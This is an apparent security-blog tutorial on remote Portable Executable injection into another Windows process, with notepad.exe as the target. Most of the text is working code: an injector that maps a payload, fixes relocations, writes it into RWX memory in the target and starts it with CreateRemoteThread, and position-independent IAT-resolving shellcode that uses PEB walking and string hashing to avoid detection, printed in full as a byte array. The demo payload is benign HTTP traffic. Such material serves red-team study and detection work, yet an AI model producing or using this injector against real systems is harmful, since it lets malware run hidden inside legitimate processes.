
Remote Portable Executable Injection
Introduction
This post will introduce the concept of injecting PE files into a remote process. Previously, local PE injection was discussed. However, the same technique can be altered to inject code into another process on the same system.
This post will describe the core injection logic and the payload that will be injected into another process, along with a potential solution of how to deal with the challenge of resolving the Import Address Table (IAT) in a foreign memory address space.
Source Code for Examples
The associated code example for this post can be found on the following link.
Payload
The payload for this example will send a HTTP request to Google. This was chosen so that the payload is simple and there is visual feedback that can be seen when the payload is running.
int sendHTTPRequest() {
LPCSTR userAgent = "agent";
LPCSTR connectDomain = "google.com";
LPCSTR httpRequestType = "GET";
LPCSTR targetPath = "/test";
HINTERNET internetHandle = InternetOpenA(userAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (internetHandle == NULL) {
return -1;
}
DWORD_PTR dwService = (DWORD_PTR)NULL;
HINTERNET httpHandle = InternetConnectA(internetHandle, connectDomain, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, dwService);
if (httpHandle == NULL) {
return -1;
}
HINTERNET httpRequestHandle = HttpOpenRequestA(httpHandle, httpRequestType, targetPath, NULL, NULL, NULL, 0, dwService);
if (httpRequestHandle == NULL) {
return -1;
}
BOOL result = HttpSendRequestA(httpRequestHandle, NULL, 0, NULL, 0);
InternetCloseHandle(internetHandle);
return 1;
}
The loopHTTPConnect() function will be responsible for looping through the sendHTTPRequest() function every two seconds.
void loopHTTPConnect() {
while (true) {
Sleep(2000);
sendHTTPRequest();
printf("Sent HTTP Request\n");
}
}
The loopHTTPConnect() function will be invoked from the programs main() function. This is a standard executable file that can be run directly in Windows, however, our goal is to run it inside of a injector without directly invoking it.
int main() {
printf("HTTP Payload Sending Starting\n");
loopHTTPConnect();
}
Import Address Table Fixing Shellcode
A challenge is posed if the payload we are injecting into a foreign process has an IAT that needs to be resolved. We cannot resolve the IAT before injecting it into the target as there may be some DLL’s that have different offsets due to ASLR.
To deal with this challenge we will have two different paths of injection depending on if a payload has an IAT:
- Payload Has IAT
- Inject mapped payload into target process.
- Inject IAT Fixing Shellcode into target process.
- Invoke IAT Fixing Shellcode
- Payload Does Not Have IAT:
- Inject mapped payload into target process
- Invoke mapped payload entrypoint
With this approach if the payload has an IAT we will indirectly invoke the payload via shellcode that has been injected into the same target process. This shellcode will have the capability to resolve all the entries in the IAT and then redirect its own execution to the entrypoint of the payload.
To construct the IAT fixing shellcode a new exported function was created in fresh Visual Studio project. An exported function was used so the complier keeps all the code in this single function. This function will also take one parameter, this will be the address of the mapped payload.
__declspec(dllexport) void PositionIndependentIATResolver(const ULONG_PTR mappedPEFile)
To start the shellcode will locate the offset of Kernel32.dll. String hashing will be used to avoid any hardcoded strings in the process.
// Through PEB find the base address of Kernel32.dll
_PPEB pPEB = (_PPEB)__readgsqword(0x60);
PLDR_DATA_TABLE_ENTRY pCurrentPLDRDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pPEB->pLdr->InMemoryOrderModuleList.Flink;
PIMAGE_DOS_HEADER pKernel32Module = NULL;
do {
PWSTR currentModuleString = pCurrentPLDRDataTableEntry->BaseDllName.pBuffer;
if (GetHashFromStringW(currentModuleString) == KERNEL32DLL_HASH) {
pKernel32Module = (PIMAGE_DOS_HEADER)pCurrentPLDRDataTableEntry->DllBase;
break;
}
pCurrentPLDRDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pCurrentPLDRDataTableEntry->InMemoryOrderModuleList.Flink;
} while (pCurrentPLDRDataTableEntry->TimeDateStamp != 0);
if (pKernel32Module == NULL) {
return;
}
Once the offset of Kernel32.dll is found the LoadLibraryA and GetProcAddress function will be resolved. We require these functions to load DLLs and resolve functions when constructing the IAT table.
// Resolve LoadLibraryA and GetProcAddress (Adding here so compiler does not redirect to another function
LOADLIBRARYA pLoadLibraryAAddress = NULL;
GETPROCADDRESS pGetProcAddressAddress = NULL;
PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(pKernel32Module->e_lfanew + (LPBYTE)pKernel32Module);
PIMAGE_OPTIONAL_HEADER64 optionalHeader = (PIMAGE_OPTIONAL_HEADER64)& ntHeaders->OptionalHeader;
DWORD imageExportDirectoryRVA = optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY kernel32ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(imageExportDirectoryRVA + (LPBYTE)pKernel32Module);
PDWORD addressOfNames = (PDWORD)(kernel32ExportDirectory->AddressOfNames + (LPBYTE)pKernel32Module);
PWORD ordinalTable = (PWORD)(kernel32ExportDirectory->AddressOfNameOrdinals + (LPBYTE)pKernel32Module);
PDWORD addressOfFunctions = (PDWORD)(kernel32ExportDirectory->AddressOfFunctions + (LPBYTE)pKernel32Module);
for (DWORD i = 0; i < kernel32ExportDirectory->NumberOfNames; i++) {
LPSTR currentFunctionName = (LPSTR)(addressOfNames[i] + (LPBYTE)pKernel32Module);
if (GetHashFromStringA(currentFunctionName) == GETPROCADDRESS_HASH) {
pGetProcAddressAddress = (GETPROCADDRESS)(addressOfFunctions[ordinalTable[i]] + (LPBYTE)pKernel32Module);
}
if (GetHashFromStringA(currentFunctionName) == LOADLIBRARYA_HASH) {
pLoadLibraryAAddress = (LOADLIBRARYA)(addressOfFunctions[ordinalTable[i]] + (LPBYTE)pKernel32Module);
}
// If both are resolved we can exit the loop
if (pLoadLibraryAAddress != NULL && pGetProcAddressAddress != NULL) {
break;
}
}
if (pLoadLibraryAAddress == NULL || pGetProcAddressAddress == NULL) {
return;
}
Next, comes the process of creating the IAT table. The following will loop through each entry in the IAT, load a DLL if required, and resolve the address of any function that the program may require during its execution.
/*
Step 2: Resolve the IAT
*/
PIMAGE_NT_HEADERS64 pMappedCurrentDLLNTHeader = (PIMAGE_NT_HEADERS64)(((PIMAGE_DOS_HEADER)mappedPEFile)->e_lfanew + (LPBYTE)mappedPEFile);
PIMAGE_IMPORT_DESCRIPTOR pMappedCurrentDLLImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pMappedCurrentDLLNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + (LPBYTE)mappedPEFile);
while (pMappedCurrentDLLImportDescriptor->Name != NULL) {
LPSTR currentDLLName = (LPSTR)(pMappedCurrentDLLImportDescriptor->Name + (LPBYTE)mappedPEFile);
HMODULE hCurrentDLLModule = pLoadLibraryAAddress(currentDLLName);
PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pMappedCurrentDLLImportDescriptor->FirstThunk + (LPBYTE)mappedPEFile);
while (pImageThunkData->u1.AddressOfData) {
if (pImageThunkData->u1.Ordinal & 0x8000000000000000) {
// Import is by ordinal
FARPROC resolvedImportAddress = pGetProcAddressAddress(hCurrentDLLModule, MAKEINTRESOURCEA(pImageThunkData->u1.Ordinal));
if (resolvedImportAddress == NULL) {
return;
}
// Overwrite entry in IAT with the address of resolved function
pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;
}
else {
// Import is by name
PIMAGE_IMPORT_BY_NAME pAddressOfImportData = (PIMAGE_IMPORT_BY_NAME)((pImageThunkData->u1.AddressOfData) + (LPBYTE)mappedPEFile);
FARPROC resolvedImportAddress = pGetProcAddressAddress(hCurrentDLLModule, pAddressOfImportData->Name);
if (resolvedImportAddress == NULL) {
return;
}
// Overwrite entry in IAT with the address of resolved function
pImageThunkData->u1.AddressOfData = (ULONGLONG)resolvedImportAddress;
}
pImageThunkData++;
}
pMappedCurrentDLLImportDescriptor++;
}
Finally, after the IAT is fixed up the shellcode will redirect its execution to the main payload by calling the entrypoint. This will ensure that the thread created for the IAT shellcode is reused to execute the payload as well.
/*
Step 3: Jump to the entrypoint of the payload
*/
void (*pEntryPoint)(void) = (void (*)()) (pMappedCurrentDLLNTHeader->OptionalHeader.AddressOfEntryPoint + (LPBYTE)mappedPEFile);
pEntryPoint();
}
Once the code was written and compiled in Visual Studio the function was located in IDA. Since this function was designed to be position independent and not dependent on anything hardcoded the raw code bytes can be copied out to use as shellcode.

The following Python script was used to create a valid C syntax array so the shellcode can be added to any software that will require it.
shellcode = "41574883EC4065488B0425600000004C8BF9488B50184C8B5A20660F1F4400004D8B53504533C0664539027410498BC249FFC0488D40026683380075F333D2448D4A354D85C074300F1F840000000000410FB70C5248FFC24169C19EF2100003C881E1FFFFFF004403C9493BD072E14181F967400C0574114D8B1B41837B7000759E4883C440415FC348895C2450498B5B204885DB0F84F10100004863433C48896C2460488974246833F648897C24388B8C18880000004803CB4C896424304C896C24284533E44C897424204533F68B41188B69208B79244803EB448B691C4803FB4C03EB8944245885C00F847D0100000F1F40006666660F1F840000000000448B550033D24C03D3450FB61A4584DB741A498BC26666660F1F84000000000048FFC2488D400180380075F44533C041B9350000004885D27439660F1F440000430FBE0C1049FFC04169C19EF2100003C881E1FFFFFF004403C94C3BC272E14181F99DE0A305750B0FB707418B7485004803F333D24584DB7412498BC20F1F0048FFC2488D400180380075F44533C041B9350000004885D27439660F1F440000430FBE0C1049FFC04169C19EF2100003C881E1FFFFFF004403C94C3BC272E14181F941F26906750B0FB707458B6485004C03E34D85E474054885F6751641FFC64883C5044883C702443B7424580F820DFFFFFF4D85E474764885F6747149636F3C468BB43D900000004983C60C4D03F7418B0685C0744D8BC84903CF41FFD4418B5E04488BF84903DF488B0B4885C9742779050FB7D1EB07498D57024803D1488BCFFFD64885C074254889034883C308488B0B4885C975D9418B46144983C61485C075B3428B443D284903C7FFD04C8B6C24284C8B642430488B7C2438488B742468488B6C24604C8B742420488B5C24504883C440415FC3"
formatted_bytes = []
for byte_index in range(0,len(shellcode),2):
current_byte = "0x" + str(shellcode[byte_index:byte_index+2])
formatted_bytes.append(current_byte)
shellcode_length = len(formatted_bytes)
print("BYTE iatFixShellArray[] = { ", end='')
for index, shellcode_byte in enumerate(formatted_bytes):
print(shellcode_byte, end='')
# Ensure we don't print a ',' at the very end
if index != (shellcode_length - 1):
print(",", end='')
print(" };")
print("SIZE_T iatFixShellArrayLength = {};\n".format(shellcode_length));
The output of the above Python script can be seen below.

Remote Portable Executable Injector
The remote portable executable injector will be responsible for injecting the payload into another remote process. Optionally, if the payload has an IAT to construct, helper shellcode will be injected with the payload to perform this task.
Load the Target Payload
The first step is to read in the payload file from disk, this is achieved by using both CreateFile to open, GetFileSize to allocate enough heap space via HeapAlloc, and reading the file into the heap space with ReadFile. The payload in this case is read from disk for example purposes, however, it is possible to download it from the network or any other location as well.
HANDLE hExePayloadFile = CreateFileA(&(exePath[0]), GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
if (hExePayloadFile == INVALID_HANDLE_VALUE) {
std::cout << GetLastErrorAsString();
return -1;
}
DWORD exePayloadFileSize = GetFileSize(hExePayloadFile, NULL);
if (exePayloadFileSize == INVALID_FILE_SIZE) {
std::cout << GetLastErrorAsString();
return -1;
}
PIMAGE_DOS_HEADER pExePayloadUnmapped = (PIMAGE_DOS_HEADER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, exePayloadFileSize);
if (pExePayloadUnmapped == NULL) {
std::cout << GetLastErrorAsString();
return -1;
}
if (!ReadFile(hExePayloadFile, pExePayloadUnmapped, exePayloadFileSize, NULL, NULL)) {
std::cout << GetLastErrorAsString();
return -1;
}
CloseHandle(hExePayloadFile);
Map the Target Payload The next step is to map the payload, this is required as to execute the file it must be stored in a virtual memory representation rather than an on-disk representation. To start we allocate enough heap space to store the mapped PE file.
// Allocate new heap space for mapped executable
PIMAGE_NT_HEADERS64 pExePayloadNTHeaders = (PIMAGE_NT_HEADERS64)(pExePayloadUnmapped->e_lfanew + (LPBYTE)pExePayloadUnmapped);
PIMAGE_DOS_HEADER pExePayloadMapped = (PIMAGE_DOS_HEADER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pExePayloadNTHeaders->OptionalHeader.SizeOfImage);
if (pExePayloadUnmapped == NULL) {
std::cout << GetLastErrorAsString();
return -1;
}
Next, the PE headers are copied directly to the newly allocated buffer space. There are no changes required to the headers.
// Copy headers to mapped memory space
DWORD totalHeaderSize = pExePayloadNTHeaders->OptionalHeader.SizeOfHeaders;
memcpy_s(pExePayloadMapped, totalHeaderSize, pExePayloadUnmapped, totalHeaderSize);
After, the PE sections are copied over. When copying the PE sections the virtual address offset is used to figure out the destination in which the PE section should be present in, rather than the raw offset that is used when the file is on disk.
// Map PE sections into mapped memory space
DWORD numberOfSections = pExePayloadNTHeaders->FileHeader.NumberOfSections;
PIMAGE_SECTION_HEADER pCurrentSection = (PIMAGE_SECTION_HEADER)(pExePayloadNTHeaders->FileHeader.SizeOfOptionalHeader + (LPBYTE) & (pExePayloadNTHeaders->OptionalHeader));
for (DWORD i = 0; i < numberOfSections; i++, pCurrentSection++) {
if (pCurrentSection->SizeOfRawData != 0) {
LPBYTE pSourceSectionData = pCurrentSection->PointerToRawData + (LPBYTE)pExePayloadUnmapped;
LPBYTE pDestinationSectionData = pCurrentSection->VirtualAddress + (LPBYTE)pExePayloadMapped;
DWORD sectionSize = pCurrentSection->SizeOfRawData;
memcpy_s(pDestinationSectionData, sectionSize, pSourceSectionData, sectionSize);
}
}
Allocate Memory in Target Process
Next, a process handle is opened to the process we would like to inject into. In this example notepad is used.
// Find PID of Target Process
LPCWSTR injectionTargetProcess = L"notepad.exe";
DWORD injectionTargetProcessID = FindProcessID((LPWSTR)injectionTargetProcess);
if (injectionTargetProcessID == -1) {
wprintf(L"Could not find process: %ls", injectionTargetProcess);
return 0;
}
wprintf(L"Injecting into %ls (%d)\n", injectionTargetProcess, injectionTargetProcessID);
HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, injectionTargetProcessID);
if (hTargetProcess == NULL) {
std::string errorMessage = GetLastErrorAsString();
std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";
return -1;
}
VirtualAllocEx is used to allocate a buffer in notepad process. This buffer is made readable, writable, and executable in order to be able to write the payload and execute it in the remote process.
One of the main reasons for performing this allocate at this stage is that when fixing the Base Relocation table it is critical to have the offset a PE file will be located at. In this case the offset is stored in pRemoteMappedBuffer.
LPVOID pRemoteMappedBuffer = VirtualAllocEx(hTargetProcess, NULL, pExePayloadNTHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pRemoteMappedBuffer == NULL) {
std::string errorMessage = GetLastErrorAsString();
std::cout << errorMessage << "\n";
return -1;
}
Fix the Base Relocation Table
The Base Relocation Table will need to be updated in order to ensure that any hardcoded address in the DLL will resolve properly with the new base offset.
DWORD baseRelocationRVA = pExePayloadNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
PIMAGE_BASE_RELOCATION pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)(baseRelocationRVA + (LPBYTE)pExePayloadMapped);
while (pCurrentBaseRelocation->VirtualAddress != NULL && baseRelocationRVA != 0) {
DWORD relocationEntryCount = (pCurrentBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
PIMAGE_RELOC pCurrentBaseRelocationEntry = (PIMAGE_RELOC)((LPBYTE)pCurrentBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < relocationEntryCount; i++, pCurrentBaseRelocationEntry++) {
if (pCurrentBaseRelocationEntry->type == IMAGE_REL_BASED_DIR64) {
ULONGLONG* pRelocationValue = (ULONGLONG*)((LPBYTE)pExePayloadMapped + (ULONGLONG)((ULONGLONG)pCurrentBaseRelocation->VirtualAddress + pCurrentBaseRelocationEntry->offset));
ULONGLONG updatedRelocationValue = (ULONGLONG)((*pRelocationValue - pExePayloadNTHeaders->OptionalHeader.ImageBase) + (LPBYTE)pRemoteMappedBuffer);
*pRelocationValue = updatedRelocationValue;
}
}
// Increment current base relocation entry to the next one, we do this by adding its total size to the current offset
pCurrentBaseRelocation = (PIMAGE_BASE_RELOCATION)((LPBYTE)pCurrentBaseRelocation + pCurrentBaseRelocation->SizeOfBlock);
}
Copy Mapped Payload to Target Process
Now that the PE file is mapped and has the Base Relocation Table fixed up, the entire mapped PE file can be copied over to the target process.
if (!WriteProcessMemory(hTargetProcess, pRemoteMappedBuffer, (LPVOID)pExePayloadMapped, pExePayloadNTHeaders->OptionalHeader.SizeOfImage, NULL)) {
std::string errorMessage = GetLastErrorAsString();
std::cout << errorMessage << "\n";
return -1;
}
Injection with IAT Fixing Shellcode
If the PE payload has an IAT, it will need to be resolved inside of the remote process. This is because other DLL’s may need to be loaded, such s Wininet.dll, that the payload will depend on.
In this injection option if the PE payload has an IAT, optional IAT resolving shellcode will be injected into the target process. In this case we have our shellcode stored in iatFixShellArray. A new readable, writable, and executable buffer is created in the remote process to accommodate for this shellcode.
Once the shellcode is written to the remote process it can be invoke via CreateRemoteThread. One important aspact is the offset of the PE payload is passed to the shellcode. This is important as the shellcode will need to know where in memory the PE payload is located in order to fix the IAT of the payload.
After the shellcode is finished running, it will redirect execution to the PE payload in the same thread it was running.
DWORD importDescriptorRVA = pExePayloadNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (importDescriptorRVA != 0) {
BYTE iatFixShellArray[] = { 0x41,0x57,0x48,0x83,0xEC,0x40,0x65,0x48,0x8B,0x04,0x25,0x60,0x00,0x00,0x00,0x4C,0x8B,0xF9,0x48,0x8B,0x50,0x18,0x4C,0x8B,0x5A,0x20,0x66,0x0F,0x1F,0x44,0x00,0x00,0x4D,0x8B,0x53,0x50,0x45,0x33,0xC0,0x66,0x45,0x39,0x02,0x74,0x10,0x49,0x8B,0xC2,0x49,0xFF,0xC0,0x48,0x8D,0x40,0x02,0x66,0x83,0x38,0x00,0x75,0xF3,0x33,0xD2,0x44,0x8D,0x4A,0x35,0x4D,0x85,0xC0,0x74,0x30,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x41,0x0F,0xB7,0x0C,0x52,0x48,0xFF,0xC2,0x41,0x69,0xC1,0x9E,0xF2,0x10,0x00,0x03,0xC8,0x81,0xE1,0xFF,0xFF,0xFF,0x00,0x44,0x03,0xC9,0x49,0x3B,0xD0,0x72,0xE1,0x41,0x81,0xF9,0x67,0x40,0x0C,0x05,0x74,0x11,0x4D,0x8B,0x1B,0x41,0x83,0x7B,0x70,0x00,0x75,0x9E,0x48,0x83,0xC4,0x40,0x41,0x5F,0xC3,0x48,0x89,0x5C,0x24,0x50,0x49,0x8B,0x5B,0x20,0x48,0x85,0xDB,0x0F,0x84,0xF1,0x01,0x00,0x00,0x48,0x63,0x43,0x3C,0x48,0x89,0x6C,0x24,0x60,0x48,0x89,0x74,0x24,0x68,0x33,0xF6,0x48,0x89,0x7C,0x24,0x38,0x8B,0x8C,0x18,0x88,0x00,0x00,0x00,0x48,0x03,0xCB,0x4C,0x89,0x64,0x24,0x30,0x4C,0x89,0x6C,0x24,0x28,0x45,0x33,0xE4,0x4C,0x89,0x74,0x24,0x20,0x45,0x33,0xF6,0x8B,0x41,0x18,0x8B,0x69,0x20,0x8B,0x79,0x24,0x48,0x03,0xEB,0x44,0x8B,0x69,0x1C,0x48,0x03,0xFB,0x4C,0x03,0xEB,0x89,0x44,0x24,0x58,0x85,0xC0,0x0F,0x84,0x7D,0x01,0x00,0x00,0x0F,0x1F,0x40,0x00,0x66,0x66,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x55,0x00,0x33,0xD2,0x4C,0x03,0xD3,0x45,0x0F,0xB6,0x1A,0x45,0x84,0xDB,0x74,0x1A,0x49,0x8B,0xC2,0x66,0x66,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0xFF,0xC2,0x48,0x8D,0x40,0x01,0x80,0x38,0x00,0x75,0xF4,0x45,0x33,0xC0,0x41,0xB9,0x35,0x00,0x00,0x00,0x48,0x85,0xD2,0x74,0x39,0x66,0x0F,0x1F,0x44,0x00,0x00,0x43,0x0F,0xBE,0x0C,0x10,0x49,0xFF,0xC0,0x41,0x69,0xC1,0x9E,0xF2,0x10,0x00,0x03,0xC8,0x81,0xE1,0xFF,0xFF,0xFF,0x00,0x44,0x03,0xC9,0x4C,0x3B,0xC2,0x72,0xE1,0x41,0x81,0xF9,0x9D,0xE0,0xA3,0x05,0x75,0x0B,0x0F,0xB7,0x07,0x41,0x8B,0x74,0x85,0x00,0x48,0x03,0xF3,0x33,0xD2,0x45,0x84,0xDB,0x74,0x12,0x49,0x8B,0xC2,0x0F,0x1F,0x00,0x48,0xFF,0xC2,0x48,0x8D,0x40,0x01,0x80,0x38,0x00,0x75,0xF4,0x45,0x33,0xC0,0x41,0xB9,0x35,0x00,0x00,0x00,0x48,0x85,0xD2,0x74,0x39,0x66,0x0F,0x1F,0x44,0x00,0x00,0x43,0x0F,0xBE,0x0C,0x10,0x49,0xFF,0xC0,0x41,0x69,0xC1,0x9E,0xF2,0x10,0x00,0x03,0xC8,0x81,0xE1,0xFF,0xFF,0xFF,0x00,0x44,0x03,0xC9,0x4C,0x3B,0xC2,0x72,0xE1,0x41,0x81,0xF9,0x41,0xF2,0x69,0x06,0x75,0x0B,0x0F,0xB7,0x07,0x45,0x8B,0x64,0x85,0x00,0x4C,0x03,0xE3,0x4D,0x85,0xE4,0x74,0x05,0x48,0x85,0xF6,0x75,0x16,0x41,0xFF,0xC6,0x48,0x83,0xC5,0x04,0x48,0x83,0xC7,0x02,0x44,0x3B,0x74,0x24,0x58,0x0F,0x82,0x0D,0xFF,0xFF,0xFF,0x4D,0x85,0xE4,0x74,0x76,0x48,0x85,0xF6,0x74,0x71,0x49,0x63,0x6F,0x3C,0x46,0x8B,0xB4,0x3D,0x90,0x00,0x00,0x00,0x49,0x83,0xC6,0x0C,0x4D,0x03,0xF7,0x41,0x8B,0x06,0x85,0xC0,0x74,0x4D,0x8B,0xC8,0x49,0x03,0xCF,0x41,0xFF,0xD4,0x41,0x8B,0x5E,0x04,0x48,0x8B,0xF8,0x49,0x03,0xDF,0x48,0x8B,0x0B,0x48,0x85,0xC9,0x74,0x27,0x79,0x05,0x0F,0xB7,0xD1,0xEB,0x07,0x49,0x8D,0x57,0x02,0x48,0x03,0xD1,0x48,0x8B,0xCF,0xFF,0xD6,0x48,0x85,0xC0,0x74,0x25,0x48,0x89,0x03,0x48,0x83,0xC3,0x08,0x48,0x8B,0x0B,0x48,0x85,0xC9,0x75,0xD9,0x41,0x8B,0x46,0x14,0x49,0x83,0xC6,0x14,0x85,0xC0,0x75,0xB3,0x42,0x8B,0x44,0x3D,0x28,0x49,0x03,0xC7,0xFF,0xD0,0x4C,0x8B,0x6C,0x24,0x28,0x4C,0x8B,0x64,0x24,0x30,0x48,0x8B,0x7C,0x24,0x38,0x48,0x8B,0x74,0x24,0x68,0x48,0x8B,0x6C,0x24,0x60,0x4C,0x8B,0x74,0x24,0x20,0x48,0x8B,0x5C,0x24,0x50,0x48,0x83,0xC4,0x40,0x41,0x5F,0xC3 };
SIZE_T iatFixShellArrayLength = 664;
LPVOID pIATFixShellcode = VirtualAllocEx(hTargetProcess, NULL, iatFixShellArrayLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pIATFixShellcode == NULL) {
std::string errorMessage = GetLastErrorAsString();
std::cout << errorMessage << "\n";
return -1;
}
if (!WriteProcessMemory(hTargetProcess, pIATFixShellcode, (LPVOID)iatFixShellArray, iatFixShellArrayLength, NULL)) {
std::string errorMessage = GetLastErrorAsString();
std::cout << errorMessage << "\n";
return -1;
}
HANDLE hRemoteThread = CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pIATFixShellcode, pRemoteMappedBuffer, 0, NULL);
if (hRemoteThread == NULL) {
std::string errorMessage = GetLastErrorAsString();
std::cout << errorMessage << "\n";
return -1;
}
}
Direct Injection
Alternately, if the PE payload does not have IAT then there is no need to inject the shellcode. A CreateRemoteThread can be used to invoke the entrypoint of PE payload.
else if (importDescriptorRVA == 0) {
LPTHREAD_START_ROUTINE pEntryPoint = (LPTHREAD_START_ROUTINE)(pExePayloadNTHeaders->OptionalHeader.AddressOfEntryPoint + (LPBYTE)pRemoteMappedBuffer);
HANDLE hRemoteThread = CreateRemoteThread(hTargetProcess, NULL, 0, pEntryPoint, NULL, NULL, NULL);
if (hRemoteThread == NULL) {
std::string errorMessage = GetLastErrorAsString();
std::cout << errorMessage << "\n";
return -1;
}
}
Remote Portable Executable Injection Demonstration
The following GIF provides a video demonstration of the injection process. We can see the injector running and injecting into a Noteprocess (PID 2008). At the same time Process Hacker indicates there is some activity occurring with the threads of the process, and shortly after HTTP traffic starts flowing in Wireshark indicating a successful injection.

Looking deeper into the Notepad process with Process Hacker we can see there is a section of memory that is readable, writable, and executable storing the bytes associted with the IAT fixing shellcode.

We can also see another readable, writable, and executable memory space that stores the PE payload.
